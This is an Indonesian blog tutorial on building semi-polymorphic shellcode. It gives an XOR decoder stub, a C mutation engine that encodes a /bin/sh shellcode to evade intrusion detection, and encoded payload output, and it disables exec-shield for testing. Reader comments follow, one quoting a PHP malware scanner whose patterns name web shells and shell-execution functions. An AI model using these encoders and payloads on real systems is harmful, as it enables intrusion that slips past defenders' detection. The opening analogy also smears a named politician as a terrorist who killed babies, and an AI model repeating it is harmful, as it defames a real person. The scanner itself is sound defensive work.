in Exploit

Belajar Membuat Shellcode (III): Semi-Polymorphic Shellcode

Sebelumnya saya minta maaf dulu karena absen cukup lama menulis di blog ini. Saya terakhir menulis tentang  pembuatan shellcode, untuk local  maupun remote exploit. Seharusnya kali ini saya menulis mengenai cara memakai shellcode itu dalam exploit, namun ada satu hal yang menarik untuk ditulis sebelum masuk ke pembahasan exploit, yaitu semi-polymorphic shellcode. Nanti pada artikel selanjutnya saya akan bahas true-polymorphic shellcode.

Apa itu Polymorphic Shellcode

Secara bahasa polymorphic artinya banyak bentuk. Polymorphic shellcode adalah shellcode yang mempunyai banyak bentuk. Dari satu induk shellcode yang sama bisa dilahirkan banyak sekali shellcode yang berbeda-beda dalam level bit, maksudnya bila dilihat bit per bit semua shellcode tersebut berbeda total, padahal semua berasal dari satu induk.


source:ncbray.blogspot.com

Polymorphic shellcode diperlukan untuk bisa lolos dari deteksi Intrusion Detection/Prevention System. IDS/IPS memeriksa paket data yang lewat. Bila paket tersebut mengandung data yang dianggap berbahaya, maka satpam akan membunyikan alarm atau mencegah paket tersebut lewat.

Perhatikan ilustrasi berikut ini.

Teroris bernama Bush (bukan nama sebenarnya), sebelumnya pernah berhasil meledakkan sasaran dan membunuh ribuan bayi di Irak,  namun kini fotonya sudah diketahui semua orang sehingga dia tidak leluasa lagi melakukan serangan berikutnya.

Agar serangan berikutnya berjalan lancar, Bush harus mengubah wajahnya dengan operasi plastik, menumbuhkan kumis, mengubah rambut dsb. Dengan wajah yang berbeda total, maka polisi tidak akan mengenali Bush, dan Bush bisa melakukan serangan dengan lancar.

Dalam setiap serangannya Bush harus mengubah wajahnya agar berbeda dari wajahnya pada serangan-serangan sebelumnya.

Begitulah ilustrasi dari polymorphic shellcode, ketika sebuah shellcode sudah pernah dipakai dan signaturenya (ciri-ciri) sudah di-blacklist oleh IDS/IPS, maka shellcode tersebut sudah berkurang efektivitasnya. Bila shellcode yang sama dipakai lagi, maka IDS/IPS akan dengan mudah mendeteksi dan mencegah serangan itu.

Untuk menipu IDS/IPS maka shellcode sebelum dipakai dalam exploit harus mengalami mutasi yaitu mengubah bentuk fisiknya tanpa mengubah fungsinya. Ingat shellcode adalah kumpulan byte opcode yang merepresentasikan instruksi assembly/bahasa mesin. Polymorphic shellcode berarti bahwa instruksi assembly bisa berubah menjadi banyak macam tetapi tidak mengubah fungsi utama dan hasil akhirnya.

Lho kok bisa? Mudah saja, sebagai contoh bayangkan bahwa algoritma utamanya adalah formula A+B*2. Kita bisa mutasi-kan formula itu menjadi banyak bentuk:

  • B*2+A
  • B+B+A
  • B+1+B+A-1
  • B*2+B*3+A-B*2-B

Semua mutasi di atas menghasilkan hasil akhir yang sama persis, walaupun formulanya jauh berbeda. IDS/IPS yang hanya mem-blacklist “A+B*2” tidak akan menganggap paket berisi “B+B+A” atau “B+1+B+A-1” sebagai paket berbahaya karena tidak ada dalam kamus blacklistnya, padahal semuanya sama saja hanya bentuknya saja yang berbeda.

Gambar di atas adalah software untuk mengubah bentuk wajah dengan mengganti bentuk mata, alis, rambut, kumis dsb. Semua shellcode bisa di-mutasi menghasilkan shellcode baru yang berbeda namun tetap dengan fungsi yang sama menggunakan script “Mutation Engine”. Mutation engine ini bisa dibayangkan mirip dengan gambar di atas, sebuah software yang mempunyai fasilitas untuk mengubah-ubah bentuk mata, alis, kumis, hidung untuk membuat wajah baru yang berbeda. Namun tentu saja mutation engine melakukan mutasi secara otomatis, tanpa harus menunggu inputan/klik dari pengguna.

Semi Polymorphic Shellcode

Saya akan mulai dengan membuat shellcode yang sifatnya semi polymorphic. Semi disini berarti shellcode yang dihasilkan tidak total berbeda antar hasil mutasi dari satu shellcode yang sama. Masih ada consecutive byte, byte yang berurutan yang bisa dijadikan ciri khas (signature) dari shellcode tersebut.

Semua polymorphic shellcode dibuat dengan menggunakan teknik encoding/decoding dengan prosedur decoder ditempatkan di awal shellcode, hanya bedanya pada semi polymorphic, prosedur decoder relatif statis, tidak ikut ter-mutasi. Sedangkan pada true polymorphic shellcode, prosedur/rutin decodernya juga ikut termutasi sehingga lebih sulit dideteksi IDS/IPS.

Algoritma encode/decode yang dipakai tidak rumit, hanya menggunakan operasi logika XOR. Sifat dari logika XOR adalah reversible, jika suatu bilangan di-XOR dua kali dengan kunci yang sama, maka akan menghasilkan nilai awalnya.

Contoh:

11001 (25) XOR 11100 (28) = 00101 (5) XOR 11100 (28) = 11001 (25)

Kenapa diperlukan decoder? Ingat shellcode adalah kumpulan byte opcode bahasa mesin, jadi bila shellcode tersebut di-encode maka byte opcode menjadi opcode yang berbeda atau menjadi opcode yang tidak dikenal prosesor. Decoder bertugas untuk mengembalikan byte shellcode yang ter-encode menjadi normal kembali sehingga bisa dikenal dan dieksekusi prosesor.

Contohnya bila dalam shellcode mengandung byte opcode \xCD\x80 yang dikenal prosesor sebagai interrupt no 80 hexa. Dalam proses mutasi, opcode CD80 di-encode dengan XOR 5 menjadi \xC8\x85 yang tidak dikenal oleh prosesor (bukan instruksi yang valid). Agar shellcode bisa dieksekusi maka decoder harus mengembalikan \xC8\x85 menjadi normal kembali \xCD\x80.

Gambar di atas memperlihatkan proses mutasi dari original shellcode menjadi shellcode yang telah termutasi. Mutation engine di atas menggunakan satu decoder yang sama dan menghasilkan banyak shellcode sesuai dengan key yang dipakai. Key ini dipakai untuk encode dan decode menggunakan operasi logika XOR. Setiap shellcode hasil mutation engine terdiri dari decoder di awal dan shellcode yang ter-encode.

Menghindari Karakter Terlarang

Umumnya shellcode di-injeksi melalui input program sebagai tipe data string. Secara internal string adalah array of character yang diakhiri dengan karakter NULL (‘\0’). Byte NULL tidak boleh ada dalam shellcode karena bisa membuat shellcode gagal di-injeksi secara penuh. Byte NULL adalah salah satu yang disebut dengan ‘bad characters’, yaitu karakter yang terlarang ada dalam shellcode.

Bad characters bisa berbeda-beda, tergantung dari aplikasi yang akan di-exploit. Bila dalam aplikasi tersebut, keberadaan karakter new line (\n) dan enter (\r) membuat shellcode gagal terinjeksi dengan sempurna, maka character itu jangan sampai ada dalam shellcode.

Namun terkadang sulit untuk menghindari adanya karakter terlarang dalam shellcode. Teknik encoding shellcode ini bisa juga dipakai untuk menghilangkan karakter terlarang. Jadi teknik ini tidak hanya berguna untuk menghindari tertangkap IDS/IPS tapi juga membantu menghindari karakter terlarang.

JMP/CALL GetPC

Instruksi yang pertama dieksekusi adalah decoder. Decoder ini bertugas untuk melakukan decode dengan operator XOR menggunakan kunci yang sama pada waktu encoding. Masalahnya adalah shellcode ini bisa diload di alamat memori berapapun, jadi tidak bisa di-harcode lokasinya sejak awal dalam rutin decoder. Decoder harus tahu pada saat dieksekusi (run-time), di mana lokasi memori tempat penyimpanan shellcode ter-encode.

Teknik mencari lokasi memori dirinya ketika dieksekusi ini disebut dengan GETPC (get program counter/EIP). Trik yang biasa dipakai adalah menggunakan instruksi JMP dan CALL. Decoder akan JMP ke lokasi tepat di atas (sebelum) shellcode yang ter-encode. Pada lokasi tersebut ada instruksi CALL ke lokasi sesudah instruksi JUMP tadi. CALL akan mem-push ke dalam stack return address, yaitu alamat memori instruksi sesudah CALL. Karena lokasi shellcode ter-encode tepat sesudah instruksi CALL, maka dalam puncak stack akan berisi alamat memori (EIP/PC) shellcode ter-encode.

Tidak seperti umumnya instruksi CALL yang diikuti dengan RET, dalam trik ini kita tidak memerlukan instruksi RET karena kita tidak sedang benar-benar memanggil subroutine. Instruksi CALL dimanfaatkan untuk mengambil EIP/PC dari instruksi sesudah CALL.

Gambar di atas menunjukkan alur JMP/CALL untuk mendapatkan lokasi memori shellcode ter-encode. Pertama-tama decoder akan JMP ke lokasi point1, yang di sana ada instruksi CALL ke point2. Tepat di bawah CALL point2 adalah lokasi memori di mana shellcode ter-encode berada. Jadi ketika CALL dieksekusi lokasi encoded_shellcode akan di-push ke dalam stack sebagai return address dari instruksi CALL. Pada point2, terdapat instruksi POP ESI yang maksudnya adalah mengambl return address instruksi CALL pada point1, yaitu lokasi memori shellcode ter-encode.

Assembly Decoder

Kita langsung saja buat kode assembly yang melakukan decoding dengan operasi logika XOR. Kita memanfaatkan teknik GETPC JMP/CALL seperti alur pada gambar di atas.

global _start

_start:
jmp short point1

point2:
pop esi ; ESI = sebagai index lokasi byte yang akan di-decode
xor ecx,ecx ; ECX = 0
mov cl,0x0 ; ECX = shellcode size

decode_sc:
xor byte[esi],0x0 ; XOR 1 byte memori pada lokasi yang ditunjuk ESI
inc esi ; ESI maju 1 byte, decode byte berikutnya
loop decode_sc ; Loop sebanyak ECX (ukuran shellcode)
jmp short encoded_sc ; decode selesai, jump and execute shellcode!

point1:
call point2 ; call, push address of encoded_sc ke stack
encoded_sc: ; encoded shellcode di sini

Proses decoding di atas dilakukan dengan melakukan XOR dalam loop yang dimulai dari lokasi encoded_sc (yang disimpan di ESI) sebanyak ukuran encoded shellcode (yang disimpan di ECX). Sebelumnya lokasi encoded_sc diketahui dengan melakukan trik JMP/CALL GETPC dan lokasi encoded_sc disimpan di register ESI. Setelah loop selesai, shellcode telah kembali normal dan siap dieksekusi. Jadi setelah loop, ada instruksi JUMP ke lokasi encoded_sc.

Sekarang kita akan mengambil opcodenya dengan cara compile, link dan melakukan objdump.

$ nasm -f elf decoderjmpcall.asm
$ ld -o decoderjmpcall decoderjmpcall.o
$ objdump -d ./decoderjmpcall

./decoderjmpcall:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:       eb 0d                   jmp    804806f 

08048062 :
 8048062:       5e                      pop    %esi
 8048063:       31 c9                   xor    %ecx,%ecx
 8048065:       b1 00                   mov    $0x0,%cl

08048067 :
 8048067:       80 36 00                xorb   $0x0,(%esi)
 804806a:       46                      inc    %esi
 804806b:       e2 fa                   loop   8048067 
 804806d:       eb 05                   jmp    8048074 

0804806f :
 804806f:       e8 ee ff ff ff          call   8048062 

Sedikit penjelasan mengenai opcode di atas untuk menambah pengetahuan assembly. Di awal ada instruksi “JMP point1”. Opcode untuk JMP adalah 0xEB. Perhatikan point1 terletak 13 byte setelah instruksi ini, oleh karena itu opcodenya adalah “0xEB 0x0D”, yang artinya Jump sejauh 0x0D hex (13) byte setelah instruksi ini.

Sebagai ilustrasi perhatikan output objdump di atas, instruksi “JMP point1” ada di lokasi memori 0x8048060, dan kita tahu instruksi “JMP point1” memakan ruang 2 byte (0xEB dan 0x0D), maka tujuan lompatannya adalah 0x8048060 + 2 + 13 = 0x804806f. Sekali lagi ingat, dihitungnya dari lokasi sesudah instruksi JMP, yaitu 0x8048062. Kemudian dihitung 0x0D (13 byte) dari lokasi 0x8048062 menjadi 0x804806f.

Sedangkan pada point1, ada instruksi “CALL point2” yang memakan ruang 5 byte (0xE8 0xEE 0xFF 0xFF 0xFF). 0xE8 adalah opcode untuk CALL, sedangkan 0xEE 0xFF 0xFF 0xFF dalam notasi little-endian adalah 0xFFFFFFEE yang merupakan representasi bilangan signed integer -18.

Kenapa kok jaraknya -18 ? Perhatikan lagi output objdump di atas. Ingat, mirip dengan JMP jarak lompatan dihitung dari lokasi sesudah instruksi CALL. Lokasi memori sesudah instruksi “CALL point2” adalah 0x804806f+5 = 0x8048074. Kalau kita hitung 18 byte sebelum 0x8048074, maka kita dapatkan lokasi 0x8048062, yang tidak lain adalah lokasi point2.

Sekarang kita extract opcodenya dan menuliskannya dalam notasi shellcode hexadecimal.

$ objdump -d ./decoderjmpcall|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff"

Pada gambar di atas terlihat opcode dari decoder yang akan kita pakai. Perhatikan ada dua byte yang berwarna biru, yaitu ukuran shellcode pada index ke-6 dan kunci XOR pada index ke-9. Nantinya hanya dua byte itu saja yang berubah dalam setiap mutasi shellcode, byte selain itu selalu sama oleh karena itu kita tidak mengatakan true-polymorphic tetapi hanya semi-polymorphic.

Encoder: Mutation Engine

Kini setelah kita memiliki opcode decoder, kita bisa mulai membuat mutation engine, yaitu script yang melakukan encoding dan menghasilkan encoded shellcode. Kita membuat dalam bahasa C, dan sebagai induk kita gunakan shellcode yang kita pakai dalam local exploit di artikel “belajar membuat shellcode part 1“.

#include 
#include 
#include 
#include 
#include 

int getnumber(int quo) { 
	int seed;
	struct timeval tm;
	gettimeofday( &tm, NULL );
	seed = tm.tv_sec + tm.tv_usec;
	srandom( seed );
	return (random() % quo);
}

void print_code(char *data) { 
	int i,l=0;
	for (i = 0; i < strlen(data); ++i) {
		if (l==0) {
			printf("\"");
		}
		if (l >= 15) {
				printf("\"\n\"");
				l = 0;
		}
		printf("\\x%02x", ((unsigned char *)data)[i]);
		++l;
	}
	printf("\";\n\n");
}

int main() { 
	char shellcode[] =
		"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0"
		"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
		"\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
	int count;
	int number = getnumber(200); 
	int badchar = 0; 
	int ldecoder; 
	int lshellcode = strlen(shellcode); 
	char *result;

	char decoder[] = 
		"\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa"
		"\xeb\x05\xe8\xee\xff\xff\xff";
	decoder[6] += lshellcode; 
	decoder[9] += number; 
	ldecoder = strlen(decoder); 

	do { 
		if(badchar == 1) { 
			number = getnumber(10);
			decoder[16] += number;
			badchar = 0;
		}	
		for(count=0; count < lshellcode; count++) { 
			shellcode[count] = shellcode[count] ^ number; 
			if(shellcode[count] == '\0') { 
				badchar = 1; 
			}
		}
	} while(badchar == 1); 
	result = malloc(lshellcode + ldecoder);
	strcpy(result,decoder); 
	strcat(result,shellcode); 

	printf("Key: %02x\n",number);
	print_code(result); 
}

Sekarang kita coba jalankan dan kita lihat hasil mutasinya sebanyak 3 kali.

$ ./encoder
Key: 29
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x29\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x18\xe9\x99\x6f\x18\xf2\x18\xe0\xe4\xa9"
"\x18\xe9\x79\x41\x06\x06\x5a\x41\x41\x06\x4b\x40\x47\xa0\xca"
"\x79\x7a\xa0\xc8\x18\xfb\x99\x22\xe4\xa9";
$ ./encoder
Key: 1a
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x1a\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x2b\xda\xaa\x5c\x2b\xc1\x2b\xd3\xd7\x9a"
"\x2b\xda\x4a\x72\x35\x35\x69\x72\x72\x35\x78\x73\x74\x93\xf9"
"\x4a\x49\x93\xfb\x2b\xc8\xaa\x11\xd7\x9a";
$ ./encoder
Key: 45
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x45\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x74\x85\xf5\x03\x74\x9e\x74\x8c\x88\xc5"
"\x74\x85\x15\x2d\x6a\x6a\x36\x2d\x2d\x6a\x27\x2c\x2b\xcc\xa6"
"\x15\x16\xcc\xa4\x74\x97\xf5\x4e\x88\xc5";

Pada gambar di atas, mutation engine menghasilkan 3 mutant dengan 3 kunci yaitu 29h, 1Ah, 45h. Pada bagian decoder, hampir tidak ada bedanya, yang berbeda hanyalah pada byte yang menyimpan kunci XOR dan shellcode size.

Kunci XOR disimpan di decoder pada opcode "\x80\x36\x00", yang berarti instruksi assembly "xor byte[esi],0x0". Bila \x00 pada opcode "\x80\x36\x00" diganti menjadi x29, maka berarti kita juga memodifikasi instruksi assemblynya menjadi "xor byte[esi],0x29". Begitu juga bila kita mengganti dengan \x1A dan \x45.

Opcode "\xb1\x23" pada decoder adalah shellcode size, yang dalam assembly berarti "mov cl,0x23". Dalam program tersebut kebetulan kita memakai shellcode berukuran 35 byte (23h). Bila shellcode yang dipakai ukurannya adalah 50 byte, maka mutation engine akan mengganti menjadi "\xb1\x32" yang dalam assembly berarti "mov cl,0x32".

Sedangkan untuk bagian encoded shellcode yang berwarna ungu, dari 3 kali dijalankan, mutation engine menghasilkan 3 encoded shellcode yang jauh berbeda, inilah yang disebut dengan polymorphic. Namun tentu saja karena decodernya statik, hasilnya tidak true-polymorphic, tapi cukup kita sebut semi-polymorphic saja.

Sekarang kita coba execute shellcode hasil mutasi dengan kunci 1Ah di atas. Saya akan gunakan program kecil dalam bahasa C di bawah ini.

char shellcode[] =
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x1a\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x2b\xda\xaa\x5c\x2b\xc1\x2b\xd3\xd7\x9a"
"\x2b\xda\x4a\x72\x35\x35\x69\x72\x72\x35\x78\x73\x74\x93\xf9"
"\x4a\x49\x93\xfb\x2b\xc8\xaa\x11\xd7\x9a";
int main(void) {
        asm("jmp shellcode");
}

Kita akan debug dengan GDB untuk melihat dalam memori apa yang terjadi sebelum dan sesudah decoder dieksekusi.

Jangan lupa matikan dulu exec-shield dengan cara: echo "0" > /proc/sys/kernel/exec-shield. Bila anda memakai kernel-PAE maka shellcode ini tidak bisa dieksekusi karena pada kernel-PAE ada fitur NX-bit.

$ gcc -o execsc execsc.c
$ gdb ./execsc
(gdb) set disassembly-flavor intel
(gdb) x/25i &shellcode
0x8049540 :  jmp    0x804954f 
0x8049542 :        pop    esi
0x8049543 :        xor    ecx,ecx
0x8049545 :        mov    cl,0x23
0x8049547 :        xor    BYTE PTR [esi],0x1a
0x804954a :       inc    esi
0x804954b :       loop   0x8049547 
0x804954d :       jmp    0x8049554 
0x804954f :       call   0x8049542 
0x8049554 :       sub    ebx,edx
0x8049556 :       stos   BYTE PTR es:[edi],al
0x8049557 :       pop    esp
0x8049558 :       sub    eax,ecx
0x804955a :       sub    edx,ebx
0x804955c :       xlat   BYTE PTR ds:[ebx]
0x804955d :       call   0x3535:0x724ada2b
0x8049564 :       imul   esi,DWORD PTR [edx+114],0x74737835
0x804956b :       xchg   ebx,eax
0x804956c :       stc
0x804956d :       dec    edx
0x804956e :       dec    ecx
0x804956f :       xchg   ebx,eax
0x8049570 :       sti
0x8049571 :       sub    ecx,eax
0x8049573 :       stos   BYTE PTR es:[edi],al
(gdb) b *0x804954d
Breakpoint 4 at 0x804954d

Di atas adalah hasil disassembly dari shellcode sebelum decoder dijalankan. Instruksinya bukan instruksi shellcode original. Sekarang kita coba run dan lihat instruksi assembly hasil decodingnya.

(gdb) run
Starting program: /home/admin/overflow/execsc
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 4, 0x0804954d in shellcode ()
(gdb) x/25i &shellcode
0x8049540 :  jmp    0x804954f 
0x8049542 :        pop    esi
0x8049543 :        xor    ecx,ecx
0x8049545 :        mov    cl,0x23
0x8049547 :        xor    BYTE PTR [esi],0x1a
0x804954a :       inc    esi
0x804954b :       loop   0x8049547 
0x804954d :       jmp    0x8049554 
0x804954f :       call   0x8049542 
0x8049554 :       xor    eax,eax
0x8049556 :       mov    al,0x46
0x8049558 :       xor    ebx,ebx
0x804955a :       xor    ecx,ecx
0x804955c :       int    0x80
0x804955e :       xor    eax,eax
0x8049560 :       push   eax
0x8049561 :       push   0x68732f2f
0x8049566 :       push   0x6e69622f
0x804956b :       mov    ebx,esp
0x804956d :       push   eax
0x804956e :       push   ebx
0x804956f :       mov    ecx,esp
0x8049571 :       xor    edx,edx
0x8049573 :       mov    al,0xb
0x8049575 :       int    0x80

Karena kita ingin melihat hasil decodingnya, maka kita pasang breakpoint pada titik shellcode+13 (0x804954d). Pada titik tersebut ada instruksi "jmp 0x8049554 ", yaitu instruksi untuk mengeksekusi shellcode yang telah di-decode. Setelah breakpoint dipasang, kita bisa jalankan program dengan run. Ketika breakpoint dicapai, kita bisa lihat hasil decodingnya pada lokasi shellcode+20 sampai shellcode+53.

Sebagai contoh perhatikan pada shellcode+20, instruksi sebelum decode adalah "sub ebx,edx", instruksi itu bukan instruksi shellcode originial. Namun setelah decoding selesai pada lokasi tersebut menjadi "xor eax,eax" yang merupakan instruksi shellcode yang asli. Contoh lain, pada lokasi shellcode+28 sebelum decode instruksinya adalah "xlat BYTE PTR ds:[ebx]", namun setelah decode kembali normal menjadi "int 0x80".

Tabel di bawah ini menunjukkan beberapa perbedaan antara instruksi assembly dari shellcode original dengan instruksi assembly yang telah ter-encode. Kolom "Before Decoding" adalah assembly shellcode yang telah di-encode, sedangkan kolom "After Decoding" menunjukkan assembly shellcode yang original setelah decoder selesai bekerja.

Address Before Decoding After Decoding
shellcode+20 sub ebx,edx xor eax,eax
shellcode+22 stos BYTE PTR es:[edi],al mov al,0x46
shellcode+28 xlat BYTE PTR ds:[ebx] int 0x80
shellcode+46 dec ecx push ebx

Oke, sampai disini dulu pembahasan mengenai semi-polymorphic shellcode, sampai jumpa lagi pada artikel berikutnya mengenai true-polymorphic shellcode.

Write a Comment

Comment

13 Comments

  1. Dear Master,

    Saya ingin bertanya lewat ilmuhacking.com tapi malu karma saya newbie. Saya mengerti linux tapi minim di shell programmingnya.

    Pertanyaan saya adalah “ Hal pertama apa yang mesti saya pelajari untuk mudah memahami seni hacking yang anda tulis ?”

    Mohon bantuannya..

    Kalo boleh saya saran mohon tuliskan pula bagaimana mengatasi serangan2 hacking semacam yang anda tulis, jadi saya pembaca juga belajar bagaimana security systemnya..

    Terima kasih atas setiap kiriman update webnya ke email saya.

    Regards,

    Wisnu

  2. Polymorphic shellcode., perlu ditunjang wawasan moral serta dedikasi kepribadian yang baik serta santun, agar shellcode yang kita kuasai tidak merugikan pihak lain…mantap.

  3. @gunslinget : om gunslinger_ mah jago… lagh ane.. baca langsung puyeng nih..
    apalagi soal polymorphic kayak gini… -_-”
    oiya ane tunggu bro pembahasan soal exploitnya….

  4. Looking for bad guys

    Looking for bad guys.
    This script looks for traces of malicious code including code injections,
    modified .htaccess that makes images executable, and so on.

    <?php
    // SET MAXIMUM EXECUTION TIME TO UNLIMITED (0) BECAUSE THE SCRIPT CAN TAKE A WHILE.
    // YOU COULD USE A MORE CONSERVATIVE TIME LIMIT SUCH AS 1 HOUR (3600 SECONDS), JUST IN CASE.
    // THESE HAVE NO EFFECT IF YOU RUN PHP IN "SAFE MODE" (SAFE MODE IS USUALLY UNDESIRABLE ANYWAY).
    ini_set('max_execution_time', '0');
    ini_set('set_time_limit', '0');

    // ——————————————————————————–
    // UTILITY FUNCTIONS.
    // OUTPUT TEXT IN SPECIFIED COLOR, CLEANING IT WITH HTMLENTITIES().
    function CleanColorText($text, $color)
    {
    $outputcolor = 'black';
    $color = trim($color);
    if(preg_match('/^(red|blue|green|black)$/i', $color))
    $outputcolor = $color;
    return '’ . htmlentities($text, ENT_QUOTES) . ”;
    }

    // ——————————————————————————–
    // THIS FUNCTION RECURSIVELY FINDS FILES AND PROCESSES THEM THROUGH THE SPECIFIED CALLBACK FUNCTION.
    // DIFFERENT TYPES OF FILES NEED TO BE HANDLED BY DIFFERENT CALLBACK FUNCTIONS.

    function find_files($path, $pattern, $callback)
    {
    // CHANGE BACKSLASHES TO FORWARD, WHICH IS OK IN PHP, EVEN IN WINDOWS.
    // REMOVE ANY TRAILING SLASHES, THEN ADD EXACTLY ONE.
    $path = rtrim(str_replace(“\\”, “/”, $path), ‘/’) . ‘/’;
    if(!is_readable($path))
    {
    echo “Warning: Unable to open and enter directory ” . CleanColorText($path, ‘blue’) .
    “. Check its owner/group permissions.”;
    return;
    }
    $dir = dir($path);
    $entries = array();
    while(($entry = $dir->read()) !== FALSE)
    $entries[] = $entry;
    $dir->close();
    foreach($entries as $entry)
    {
    $fullname = $path . $entry;
    if(($entry !== ‘.’) && ($entry !== ‘..’) && is_dir($fullname))
    find_files($fullname, $pattern, $callback);
    else
    if(is_file($fullname) && preg_match($pattern, $entry))
    call_user_func($callback, $fullname);
    }
    }

    // ——————————————————————————–
    // CALLBACK FUNCTIONS.
    // CALLBACK FUNCTION TO LOOK FOR MALICIOUS CODE – YOU COULD ADD ANY OTHER MALICIOUS CODE SNIPPETS YOU KNOW OF.
    function maliciouscodesnippets($filename)
    {
    if(stripos($filename, “lookforbadguys.php”)) // DON’T FLAG THIS FILE WHICH I CALLED lookforbadguys.php
    return;

    if(!is_readable($filename))
    {
    echo “Warning: Unable to read ” . CleanColorText($filename, ‘blue’) .
    “. Check it manually and check its access permissions.”;
    return;
    }
    $file = file_get_contents($filename); //READ THE FILE

    // PRINTING EVERY FILENAME GENERATES A LOT OF OUTPUT.
    //echo CleanColorText($filename, ‘green’) . ” is being examined.”;

    // TEXT FILES WILL BE SEARCHED FOR THESE SNIPPETS OF SUSPICIOUS TEXT.
    // THESE ARE REGULAR EXPRESSIONS WITH THE REQUIRED /DELIMITERS/ AND WITH SPECIAL CHARACTERS ESCAPED.
    // /i AT THE END MEANS CASE INSENSITIVE.
    $SuspiciousSnippets = array
    (
    // POTENTIALLY SUSPICIOUS PHP CODE
    ‘/edoced_46esab/i’,
    ‘/passthru *\(/i’,
    ‘/shell_exec *\(/i’,
    ‘/document\.write *\(unescape *\(/i’,

    // THESE CAN GIVE MANY FALSE POSITIVES WHEN CHECKING WORDPRESS AND OTHER CMS.
    // NONETHELESS, THEY CAN BE IMPORTANT TO FIND, ESPECIALLY BASE64_DECODE.
    ‘/base64_decode *\(/i’,
    ‘/system *\(/i’,
    ‘/`.+`/’, // BACKTICK OPERATOR INVOKES SYSTEM FUNCTIONS, SAME AS system()
    // ‘/phpinfo *\(/i’,
    // ‘/chmod *\(/i’,
    // ‘/mkdir *\(/i’,
    // ‘/fopen *\(/i’,
    // ‘/fclose *\(/i’,
    // ‘/readfile *\(/i’,

    // SUSPICIOUS NAMES. SOME HACKERS SIGN THEIR SCRIPTS. MANY NAMES COULD GO HERE,
    // HERE IS A GENERIC EXAMPLE. YOU CAN FILL IN WHATEVER NAMES YOU WANT.
    ‘/hacked by /i’,

    // OTHER SUSPICIOUS TEXT STRINGS
    ‘/web[\s-]*shell/i’, // TO FIND BACKDOOR WEB SHELL SCRIPTS.
    ‘/c99/i’, // THE NAMES OF TWO POPULAR WEB SHELLS.
    ‘/r57/i’,

    // YOU COULD ADD IN THE SPACE BELOW SOME REGULAR EXPRESSIONS TO MATCH THE NAMES OF MALICIOUS DOMAINS
    // AND IP ADDRESSES MENTIONED IN YOUR GOOGLE SAFEBROWSING DIAGNOSTIC REPORT. SOME EXAMPLES:
    ‘/gumblar\.cn/i’,
    ‘/martuz\.cn/i’,
    ‘/beladen\.net/i’,
    ‘/gooqle/i’, // NOTE THIS HAS A Q IN IT.

    // THESE 2 ARE THE WORDPRESS CODE INJECTION IN FRONT OF EVERY INDEX.PHP AND SOME OTHERS
    ‘/_analist/i’,
    ‘/anaiytics/i’ // THE LAST ENTRY IN THE LIST MUST HAVE NO COMMA AFTER IT.
    );

    foreach($SuspiciousSnippets as $i)
    {
    // STRPOS/STRIPOS WERE A LITTLE FASTER BUT LESS FLEXIBLE
    if(preg_match($i, $file))
    echo CleanColorText($filename, ‘blue’) . ‘ MATCHES REGEX: ‘ . CleanColorText($i, ‘red’) . ”;
    }

    if(!strpos($filename,”network.php”) && !strpos($filename,”rewrite.php”) && stripos($file,”RewriteRule”))
    echo CleanColorText($filename, ‘blue’) . ” contains ” . CleanColorText(“RewriteRule”, ‘red’) .
    ” – check it manually for malicious redirects.”;

    /*
    // THIS FINDS ALL JAVASCRIPT CODE. IF ENABLED, IT WILL GIVE *MANY* FALSE POSITIVES IN MOST WEBSITES.
    if($p = stripos($file, “<script "))
    echo CleanColorText($filename, 'blue') . ' contains SCRIPT:’ .
    CleanColorText(substr($file, $p, 100), ‘red’) . ”;
    */
    /*
    // THIS FINDS ALL IFRAMES. IF ENABLED, IT CAN GIVE MANY FALSE POSITIVES IN SOME WEBSITES.
    if($p = stripos($file, “<iframe "))
    echo CleanColorText($filename, 'blue') . ' contains IFRAME:’ .
    CleanColorText(substr($file, $p, 100), ‘red’) . ”;
    */

    if(stripos($file, “AddHandler”))
    {
    // THIS IS HOW THEY MAKE THE IMAGE FILES EXECUTABLE.
    echo CleanColorText($filename, ‘blue’) . ” contains ” . CleanColorText(‘AddHandler’, ‘red’) .
    ” – make sure it does not make ordinary files like images executable.”;
    // IF YOU FIND NINE ZILLION OF THESE, UNCOMMENT IT BECAUSE IT IS A PAIN TO DELETE THEM BY HAND.
    // BUT CHECK THE LIST CAREFULLY FIRST TO MAKE SURE YOU REALLY WANT TO DELETE
    // ALL THE FILES AND NONE OF THEM ARE FALSE POSITIVES.
    //unlink($filename); // THIS DELETES THE FILE WITHOUT GIVING YOU THE OPTION OF EXAMINING IT!
    }
    }

    // CALLBACK FUNCTION TO REPORT PHARMA LINK HACKS.
    function pharma($filename)
    {
    echo CleanColorText($filename, ‘blue’) . ” is most likely a ” . CleanColorText(‘pharma hack’, ‘red’) . “.”;
    }

    // CALLBACK FUNCTION TO REPORT FILES WHOSE NAMES ARE SUSPICIOUS.
    function badnames($filename)
    {
    echo CleanColorText($filename, ‘blue’) . ” is a ” . CleanColorText(‘suspicious file name’, ‘red’) . “.”;
    }

    // ——————————————————————————–
    // SET UP THE SEARCH CRITERIA.

    // SEARCHES WILL BE DONE IN THIS DIRECTORY AND ALL DIRS INSIDE IT.
    // ‘./’ MEANS CURRENT DIRECTORY, WHERE THIS SCRIPT IS NOW.
    // THUS, TO SEARCH EVERYTHING INSIDE PUBLIC_HTML, THAT’S WHERE THIS FILE SHOULD BE PUT.
